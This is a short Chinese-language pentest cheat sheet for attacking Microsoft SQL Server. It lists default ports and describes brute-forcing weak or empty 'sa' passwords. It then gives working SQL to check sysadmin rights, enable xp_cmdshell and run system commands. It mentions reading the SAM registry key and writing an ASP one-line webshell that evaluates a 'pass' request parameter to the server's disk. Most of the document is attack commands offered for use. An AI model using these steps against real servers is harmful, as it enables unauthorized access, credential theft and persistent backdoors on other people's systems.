前置知识

默认端口:1433(Server 数据库服务) 1434(Monitor 数据库监控) 2433(ms-sql-hidden 2433/tcp)

渗透方法

1.弱口令

Msf或者Scansql扫描器扫描SA用户空/弱口令,获得口令后进行相关渗透操作。以sa的身份通过navicat连接sql server执行相关命令。包括:

  • 使用xp_cmdshell扩展存储过程执行操作系统的命令;
  • 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键;
  • 使用“bulk insert”语法去读服务器上的任意文件;
  • 使用sp_OACreate、sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序等

登录成功后,执行命令查看版本

1
select @@version

验证是否是sa权限

1
select IS_SRVROLEMEMBER('sysadmin')

返回1,说明是sa权限,可以执行sql语句

判断是否存在xp_cmdshell扩展存储过程:

1
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

只要返回结果不是0就说明存在xp_cmdshell扩展存储过程。

开启xp_cmdshell执行系统命令:((1开启,0关闭,关闭时从下往上依次关闭))

1
2
3
4
5
use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

执行系统命令 可以看到当前的身份

1
2
use master;
exec master..xpcmdshell "whoami";

img

xp_cmdshell写入webshell

1
exec master..xp_cmdshell 'echo ^<%eval request("pass")%^> >c:\java\update.asp'—

type查看

1
exec master..xp_cmdshell 'type c:\java\update.asp'—

文章参考:

https://blog.csdn.net/wsnbbz/article/details/104827856

https://blog.csdn.net/qq_32434307/article/details/86592670